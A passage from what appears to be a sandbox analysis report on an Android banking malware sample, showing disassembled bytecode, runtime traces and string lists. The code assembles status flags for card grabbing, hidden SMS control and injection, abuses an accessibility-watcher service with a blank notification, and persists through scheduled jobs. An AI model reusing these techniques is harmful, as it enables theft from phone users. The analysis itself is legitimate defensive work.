                                            15sget v2, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            16sget v3, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->dxqwBpGgIXJ_20:I
                                            17sub-int/2addr v1, v2
                                            18xor-int/2addr v1, v3
                                            19int-to-float v1, v1
                                            20sput v1, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->rwYASfCJqxTsWOXMst_456503:F
                                            21add-int/lit8 v0, v0, 0x1
                                            22goto/16 :goto_1
                                            23cond_20:
                                            24invoke-virtual {p2}, Ljava/lang/ref/WeakReference;->get()Ljava/lang/Object;
                                            25move-result-object p2
                                            27invoke-virtual {p1, p2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            • Time: 1498922
                                              • This:
                                                • private java.lang.ClassLoader android.app.LoadedApk.mClassLoader
                                                • getName:mClassLoader
                                              • p0: android.app.LoadedApk@3d935ab
                                              • Return:
                                                • dalvik.system.PathClassLoader[DexPathList[[zip file "/data/app/access.pact.agent-1/base.apk"],nativeLibraryDirectories=[/data/app/access.pact.agent-1/lib/x86, /system/lib, /vendor/lib]]]
                                            28move-result-object p1
                                            29return-object p1
                                            Cross References
                                            APIs
                                            • org.json.JSONObject.<init>
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.Permissions.a
                                            • org.json.JSONObject.put
                                            • android.provider.Telephony$Sms.getDefaultSmsPackage
                                            • improve.harbor.eager.MainServiceJob.getPackageName
                                            • java.lang.String.equals
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.MainServiceJob.getPackageName
                                            • org.json.JSONObject.put
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • org.json.JSONObject.put
                                            • org.json.JSONException.printStackTrace
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            Strings
                                            • DEVICE_ID
                                            • ANDROID_ID
                                            • TAG
                                            • APP_TAG
                                            • SMS_ALLOW
                                            • HIDDEN_SMS_ALLOW
                                            • CC_GRABBER
                                            • EXTENDED_INJECTION
                                            • ACCESSIBILITY_RUNNING
                                            • ACCESSIBILITY
                                            • SCREEN_ON
                                            • IS_INSTALL
                                            • INSTALL
                                            • PKG_NAME
                                            • RELEASE_VERSION
                                            Position Instruction Meta Information
                                            0const/4 v4, 0x1
                                            1new-instance v1, Lorg/json/JSONObject;
                                            3invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                            • Time: 1515970
                                              • Return:
                                                • {}
                                            4try_start_6:
                                            5const-string v0, "DEVICE_ID"
                                            7iget-object v2, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            9const-string v3, "ANDROID_ID"
                                            11invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            12move-result-object v2
                                            14invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            16const-string v0, "TAG"
                                            18iget-object v2, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            20const-string v3, "APP_TAG"
                                            22invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            23move-result-object v2
                                            25invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            27invoke-static {p0}, Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)Z
                                            28move-result v0
                                            29if-eqz v0, :cond_cd
                                            31const-string v0, "SMS_ALLOW"
                                            32const/4 v2, 0x1
                                            34invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            35goto_2c:
                                            36invoke-static {p0}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;
                                            37move-result-object v0
                                            38if-eqz v0, :cond_da
                                            40invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getPackageName()Ljava/lang/String;
                                            41move-result-object v2
                                            43invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            44move-result v0
                                            45if-eqz v0, :cond_da
                                            47const-string v0, "HIDDEN_SMS_ALLOW"
                                            48const/4 v2, 0x1
                                            50invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            51goto_42:
                                            52iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            54const-string v2, "CC_GRABBER"
                                            56invoke-virtual {v0, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            57move-result-object v0
                                            59invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            60move-result v0
                                            61if-ne v0, v4, :cond_e2
                                            63const-string v0, "CC_GRABBER"
                                            64const/4 v2, 0x1
                                            66invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            67goto_56:
                                            68iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            70const-string v2, "EXTENDED_INJECTION"
                                            72invoke-virtual {v0, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            73move-result-object v0
                                            75invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            76move-result v0
                                            77if-ne v0, v4, :cond_ea
                                            79const-string v0, "EXTENDED_INJECTION"
                                            80const/4 v2, 0x1
                                            82invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            83goto_6a:
                                            84iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            86const-string v2, "ACCESSIBILITY_RUNNING"
                                            88invoke-virtual {v0, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            89move-result-object v0
                                            91invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            92move-result v0
                                            93if-ne v0, v4, :cond_f2
                                            95const-string v0, "ACCESSIBILITY"
                                            96const/4 v2, 0x1
                                            98invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            99goto_7e:
                                            100iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            102const-string v2, "SCREEN_ON"
                                            104invoke-virtual {v0, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            105move-result-object v0
                                            107invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            108move-result v0
                                            109if-ne v0, v4, :cond_f9
                                            111const-string v0, "SCREEN_ON"
                                            112const/4 v2, 0x1
                                            114invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            115goto_92:
                                            116iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            118const-string v2, "IS_INSTALL"
                                            120invoke-virtual {v0, v2}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            121move-result-object v0
                                            123invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            124move-result v0
                                            125if-ne v0, v4, :cond_100
                                            127const-string v0, "INSTALL"
                                            128const/4 v2, 0x1
                                            130invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            132iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            134const-string v2, "IS_INSTALL"
                                            135const/4 v3, 0x0
                                            137invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            138move-result-object v3
                                            140invoke-virtual {v0, v2, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            141goto_b2:
                                            142const-string v0, "PKG_NAME"
                                            144invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getPackageName()Ljava/lang/String;
                                            145move-result-object v2
                                            147invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            149const-string v0, "RELEASE_VERSION"
                                            151iget-object v2, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            153const-string v3, "RELEASE_VERSION"
                                            155invoke-virtual {v2, v3}, Limprove/harbor/eager/g;->a(Ljava/lang/String;)Ljava/lang/String;
                                            156move-result-object v2
                                            158invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            159goto_c8:
                                            160invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            161move-result-object v0
                                            162return-object v0
                                            163cond_cd:
                                            164const-string v0, "SMS_ALLOW"
                                            165const/4 v2, 0x0
                                            167invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            168try_end_d3: goto/16 :goto_2c
                                            169catch_d5: move-exception v0
                                            171invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                                            172goto/16 :goto_c8
                                            173cond_da:
                                            174const-string v0, "HIDDEN_SMS_ALLOW"
                                            175const/4 v2, 0x0
                                            177invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            178goto/16 :goto_42
                                            179cond_e2:
                                            180const-string v0, "CC_GRABBER"
                                            181const/4 v2, 0x0
                                            183invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            184goto/16 :goto_56
                                            185cond_ea:
                                            186const-string v0, "EXTENDED_INJECTION"
                                            187const/4 v2, 0x0
                                            189invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            190goto/16 :goto_6a
                                            191cond_f2:
                                            192const-string v0, "ACCESSIBILITY"
                                            193const/4 v2, 0x0
                                            195invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            196goto/16 :goto_7e
                                            197cond_f9:
                                            198const-string v0, "SCREEN_ON"
                                            199const/4 v2, 0x0
                                            201invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            202goto/16 :goto_92
                                            203cond_100:
                                            204const-string v0, "INSTALL"
                                            205const/4 v2, 0x0
                                            207invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            208try_end_106: goto/16 :goto_b2
                                            APIs
                                            • improve.harbor.eager.AccessibilityWatcher.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.SettingsActivity.a
                                            • improve.harbor.eager.SettingsActivity.finishAndRemoveTask
                                            • android.app.NotificationChannel.<init>
                                            • improve.harbor.eager.AccessibilityWatcher.getSystemService
                                            • java.util.Objects.requireNonNull
                                            • android.app.NotificationManager.createNotificationChannel
                                            • android.app.Notification$Builder.<init>
                                            • android.app.Notification$Builder.setContentTitle
                                            • android.app.Notification$Builder.setContentText
                                            • android.app.Notification$Builder.setSmallIcon
                                            • android.app.Notification$Builder.build
                                            • improve.harbor.eager.AccessibilityWatcher.startForeground
                                            • android.content.Intent.<init>
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • android.content.Intent.addFlags
                                            • improve.harbor.eager.AccessibilityWatcher.startActivity
                                            • improve.harbor.eager.AccessibilityWatcher.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • java.util.Timer.<init>
                                            • improve.harbor.eager.AccessibilityWatcher$1.<init>
                                            • java.util.Timer.scheduleAtFixedRate
                                            • improve.harbor.eager.AccessibilityWatcher.stopSelf
                                            Strings
                                            • TXT_C_2
                                            • TXT_STARTED_SERVICE
                                            • ACCESSIBILITY_WATCHER_RUNNING
                                            • my_channel_01
                                            • Accessibility Watcher
                                            • notification
                                            • TXT_C_6
                                            • Creating notification channel
                                            • ACCESSIBILITY_RUNNING
                                            Position Instruction Meta Information
                                            0const/4 v4, 0x1
                                            2invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            3move-result-object v0
                                            4iput-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher;->a:Limprove/harbor/eager/g;
                                            6const-string v0, "TXT_C_2"
                                            8invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            9move-result-object v0
                                            11const-string v1, "TXT_STARTED_SERVICE"
                                            13invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            14move-result-object v1
                                            16invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            18iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher;->a:Limprove/harbor/eager/g;
                                            20const-string v1, "ACCESSIBILITY_WATCHER_RUNNING"
                                            22invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            23move-result-object v2
                                            25invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            27invoke-static {}, Limprove/harbor/eager/SettingsActivity;->a()Limprove/harbor/eager/SettingsActivity;
                                            28move-result-object v0
                                            29if-eqz v0, :cond_2a
                                            31invoke-virtual {v0}, Limprove/harbor/eager/SettingsActivity;->finishAndRemoveTask()V
                                            32cond_2a: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            33const/16 v1, 0x1a
                                            34if-lt v0, v1, :cond_75
                                            36const-string v1, "my_channel_01"
                                            37new-instance v2, Landroid/app/NotificationChannel;
                                            39const-string v0, "Accessibility Watcher"
                                            40const/4 v3, 0x3
                                            42invoke-direct {v2, v1, v0, v3}, Landroid/app/NotificationChannel;-><init>(Ljava/lang/String;Ljava/lang/CharSequence;I)V
                                            44const-string v0, "notification"
                                            46invoke-virtual {p0, v0}, Limprove/harbor/eager/AccessibilityWatcher;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            47move-result-object v0
                                            49invoke-static {v0}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;
                                            50move-result-object v0
                                            51check-cast v0, Landroid/app/NotificationManager;
                                            53invoke-virtual {v0, v2}, Landroid/app/NotificationManager;->createNotificationChannel(Landroid/app/NotificationChannel;)V
                                            54new-instance v0, Landroid/app/Notification$Builder;
                                            56invoke-direct {v0, p0, v1}, Landroid/app/Notification$Builder;-><init>(Landroid/content/Context;Ljava/lang/String;)V
                                            58const-string v1, ""
                                            60invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentTitle(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                            61move-result-object v0
                                            63const-string v1, ""
                                            65invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setContentText(Ljava/lang/CharSequence;)Landroid/app/Notification$Builder;
                                            66move-result-object v0
                                            67const v1, 0x7f020001
                                            69invoke-virtual {v0, v1}, Landroid/app/Notification$Builder;->setSmallIcon(I)Landroid/app/Notification$Builder;
                                            70move-result-object v0
                                            72invoke-virtual {v0}, Landroid/app/Notification$Builder;->build()Landroid/app/Notification;
                                            73move-result-object v0
                                            75const-string v1, "TXT_C_6"
                                            77invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            78move-result-object v1
                                            80const-string v2, "Creating notification channel"
                                            82invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            83const/16 v1, 0x539
                                            85invoke-virtual {p0, v1, v0}, Limprove/harbor/eager/AccessibilityWatcher;->startForeground(ILandroid/app/Notification;)V
                                            86cond_75: new-instance v2, Landroid/content/Intent;
                                            87const-class v0, Limprove/harbor/eager/SettingsActivity;
                                            89invoke-direct {v2, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            90const/high16 v0, 0x10000000
                                            92invoke-virtual {v2, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            93const/high16 v0, 0x4000000
                                            95invoke-virtual {v2, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            96const/high16 v0, 0x400000
                                            98invoke-virtual {v2, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                            100invoke-virtual {p0, v2}, Limprove/harbor/eager/AccessibilityWatcher;->startActivity(Landroid/content/Intent;)V
                                            • Time: 1515573
                                              • This:
                                                • improve.harbor.eager.AccessibilityWatcher@cc04f67
                                              • p0: Intent { flg=0x14400000 cmp=access.pact.agent/improve.harbor.eager.SettingsActivity }
                                            102iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher;->a:Limprove/harbor/eager/g;
                                            104const-string v1, "ACCESSIBILITY_RUNNING"
                                            106invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            107move-result-object v0
                                            109invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            110move-result v0
                                            111if-eq v0, v4, :cond_ae
                                            112new-instance v0, Ljava/util/Timer;
                                            114invoke-direct {v0}, Ljava/util/Timer;-><init>()V
                                            115new-instance v1, Limprove/harbor/eager/AccessibilityWatcher$1;
                                            117invoke-direct {v1, p0, v2, v0}, Limprove/harbor/eager/AccessibilityWatcher$1;-><init>(Limprove/harbor/eager/AccessibilityWatcher;Landroid/content/Intent;Ljava/util/Timer;)V
                                            118const-wide/16 v2, 0x0
                                            119const-wide/16 v4, 0x3e8
                                            121invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V
                                            122goto_ad: return-void
                                            123cond_ae:
                                            124invoke-virtual {p0}, Limprove/harbor/eager/AccessibilityWatcher;->stopSelf()V
                                            125goto/16 :goto_ad
                                            APIs
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            • improve.harbor.eager.MainServiceJob.c:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • java.lang.System.exit
                                            • improve.harbor.eager.MainServiceJob.b
                                            • improve.harbor.eager.MainServiceJob.getApplicationContext
                                            • android.content.ComponentName.<init>
                                            • android.app.job.JobInfo$Builder.<init>
                                            • android.app.job.JobInfo$Builder.setRequiredNetworkType
                                            • android.app.job.JobInfo$Builder.setRequiresDeviceIdle
                                            • android.app.job.JobInfo$Builder.setRequiresCharging
                                            • android.app.job.JobInfo$Builder.setMinimumLatency
                                            • android.app.job.JobInfo$Builder.build
                                            • android.content.Context.getSystemService
                                            • java.util.Objects.requireNonNull
                                            • android.app.job.JobScheduler.schedule
                                            • improve.harbor.eager.MainServiceJob.jobFinished
                                            • improve.harbor.eager.MainServiceJob.getSystemService
                                            • java.util.Objects.requireNonNull
                                            • android.app.job.JobScheduler.schedule
                                            Strings
                                            • MainServiceJob
                                            • Pinging...
                                            • PING_SERVICE_WORKING
                                            • KILLED
                                            • Init
                                            • KILLING APP
                                            • jobscheduler
                                            Position Instruction Meta Information
                                            0const/4 v6, 0x1
                                            1const/4 v5, 0x0
                                            3const-string v0, "MainServiceJob"
                                            5const-string v1, "Pinging..."
                                            7invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            8sput-object p0, Limprove/harbor/eager/MainServiceJob;->b:Limprove/harbor/eager/MainServiceJob;
                                            10invoke-static {p0}, Limprove/harbor/eager/g;->a(Landroid/content/Context;)Limprove/harbor/eager/g;
                                            11move-result-object v0
                                            12iput-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            14iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            16const-string v1, "PING_SERVICE_WORKING"
                                            18invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            19move-result-object v2
                                            21invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            23iget-object v0, p0, Limprove/harbor/eager/MainServiceJob;->c:Limprove/harbor/eager/g;
                                            25const-string v1, "KILLED"
                                            27invoke-virtual {v0, v1}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            28move-result-object v0
                                            30invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                            31move-result v0
                                            32if-ne v0, v6, :cond_34
                                            34const-string v0, "Init"
                                            36const-string v1, "KILLING APP"
                                            38invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            40invoke-static {v5}, Ljava/lang/System;->exit(I)V
                                            41cond_34:
                                            42invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->b()V
                                            43iget v0, p0, Limprove/harbor/eager/MainServiceJob;->d:I
                                            44int-to-long v0, v0
                                            45new-instance v2, Landroid/content/ComponentName;
                                            47invoke-virtual {p0}, Limprove/harbor/eager/MainServiceJob;->getApplicationContext()Landroid/content/Context;
                                            48move-result-object v3
                                            49const-class v4, Limprove/harbor/eager/MainServiceJob;
                                            51invoke-direct {v2, v3, v4}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            52new-instance v3, Landroid/app/job/JobInfo$Builder;
                                            53const/4 v4, 0x2
                                            55invoke-direct {v3, v4, v2}, Landroid/app/job/JobInfo$Builder;-><init>(ILandroid/content/ComponentName;)V
                                            57invoke-virtual {v3, v6}, Landroid/app/job/JobInfo$Builder;->setRequiredNetworkType(I)Landroid/app/job/JobInfo$Builder;
                                            58move-result-object v2
                                            60invoke-virtual {v2, v5}, Landroid/app/job/JobInfo$Builder;->setRequiresDeviceIdle(Z)Landroid/app/job/JobInfo$Builder;
                                            61move-result-object v2
                                            63invoke-virtual {v2, v5}, Landroid/app/job/JobInfo$Builder;->setRequiresCharging(Z)Landroid/app/job/JobInfo$Builder;
                                            64move-result-object v2
                                            66invoke-virtual {v2, v0, v1}, Landroid/app/job/JobInfo$Builder;->setMinimumLatency(J)Landroid/app/job/JobInfo$Builder;
                                            67move-result-object v0
                                            69invoke-virtual {v0}, Landroid/app/job/JobInfo$Builder;->build()Landroid/app/job/JobInfo;
                                            70move-result-object v1
                                            71sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            72const/16 v2, 0x17
                                            73if-lt v0, v2, :cond_7a
                                            75const-string v0, "jobscheduler"
                                            77invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            • Time: 1517061
                                              • This:
                                                • improve.harbor.eager.MainServiceJob@e002ba
                                              • p0: jobscheduler
                                              • Return:
                                                • android.app.JobSchedulerImpl@cdfda81
                                            78move-result-object v0
                                            79check-cast v0, Landroid/app/job/JobScheduler;
                                            81invoke-static {v0}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;
                                            82move-result-object v0
                                            83check-cast v0, Landroid/app/job/JobScheduler;
                                            85invoke-virtual {v0, v1}, Landroid/app/job/JobScheduler;->schedule(Landroid/app/job/JobInfo;)I
                                            86goto_76:
                                            87invoke-virtual {p0, p1, v5}, Limprove/harbor/eager/MainServiceJob;->jobFinished(Landroid/app/job/JobParameters;Z)V
                                            88return v6
                                            89cond_7a:
                                            90const-string v0, "jobscheduler"
                                            92invoke-virtual {p0, v0}, Limprove/harbor/eager/MainServiceJob;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            93move-result-object v0
                                            94check-cast v0, Landroid/app/job/JobScheduler;
                                            96invoke-static {v0}, Ljava/util/Objects;->requireNonNull(Ljava/lang/Object;)Ljava/lang/Object;
                                            97move-result-object v0
                                            98check-cast v0, Landroid/app/job/JobScheduler;
                                            100invoke-virtual {v0, v1}, Landroid/app/job/JobScheduler;->schedule(Landroid/app/job/JobInfo;)I
                                            101goto/16 :goto_76
                                            Cross References
                                            APIs
                                            • android.content.Context.getSystemService
                                            • android.app.job.JobScheduler.getAllPendingJobs
                                            • java.util.List.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • android.app.job.JobInfo.getId
                                            • android.content.ComponentName.<init>
                                            • android.app.job.JobInfo$Builder.<init>
                                            • android.app.job.JobInfo$Builder.setRequiredNetworkType
                                            • android.app.job.JobInfo$Builder.setRequiresDeviceIdle
                                            • android.app.job.JobInfo$Builder.setRequiresCharging
                                            • android.app.job.JobInfo$Builder.build
                                            • android.content.Context.getSystemService
                                            • android.app.job.JobScheduler.schedule
                                            • improve.harbor.eager.MainService.getSystemService
                                            • android.app.job.JobScheduler.schedule
                                            Strings
                                            • jobscheduler
                                            Position Instruction Meta Information
                                            0const/4 v1, 0x1
                                            1const/4 v2, 0x0
                                            3const-string v0, "jobscheduler"
                                            5invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            • Time: 1515556
                                              • This:
                                                • improve.harbor.eager.MainService@a8ae58b
                                              • p0: jobscheduler
                                              • Return:
                                                • android.app.JobSchedulerImpl@cdfda81
                                            6move-result-object v0
                                            7check-cast v0, Landroid/app/job/JobScheduler;
                                            9invoke-virtual {v0}, Landroid/app/job/JobScheduler;->getAllPendingJobs()Ljava/util/List;
                                            10move-result-object v0
                                            12invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                            13move-result-object v3
                                            14cond_12:
                                            15invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
                                            16move-result v0
                                            17if-eqz v0, :cond_62
                                            19invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            20move-result-object v0
                                            21check-cast v0, Landroid/app/job/JobInfo;
                                            23invoke-virtual {v0}, Landroid/app/job/JobInfo;->getId()I
                                            24move-result v0
                                            25const/4 v4, 0x2
                                            26if-ne v0, v4, :cond_12
                                            27move v0, v1
                                            28goto_26: if-nez v0, :cond_55
                                            29new-instance v0, Landroid/content/ComponentName;
                                            30const-class v3, Limprove/harbor/eager/MainServiceJob;
                                            32invoke-direct {v0, p1, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            33new-instance v3, Landroid/app/job/JobInfo$Builder;
                                            35invoke-direct {v3, v1, v0}, Landroid/app/job/JobInfo$Builder;-><init>(ILandroid/content/ComponentName;)V
                                            37invoke-virtual {v3, v1}, Landroid/app/job/JobInfo$Builder;->setRequiredNetworkType(I)Landroid/app/job/JobInfo$Builder;
                                            38move-result-object v0
                                            40invoke-virtual {v0, v2}, Landroid/app/job/JobInfo$Builder;->setRequiresDeviceIdle(Z)Landroid/app/job/JobInfo$Builder;
                                            41move-result-object v0
                                            43invoke-virtual {v0, v2}, Landroid/app/job/JobInfo$Builder;->setRequiresCharging(Z)Landroid/app/job/JobInfo$Builder;
                                            44move-result-object v0
                                            46invoke-virtual {v0}, Landroid/app/job/JobInfo$Builder;->build()Landroid/app/job/JobInfo;
                                            47move-result-object v1
                                            48sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                                            49const/16 v2, 0x17
                                            50if-lt v0, v2, :cond_56
                                            52const-string v0, "jobscheduler"
                                            54invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                            • Time: 1515560
                                              • This:
                                                • improve.harbor.eager.MainService@a8ae58b
                                              • p0: jobscheduler
                                              • Return:
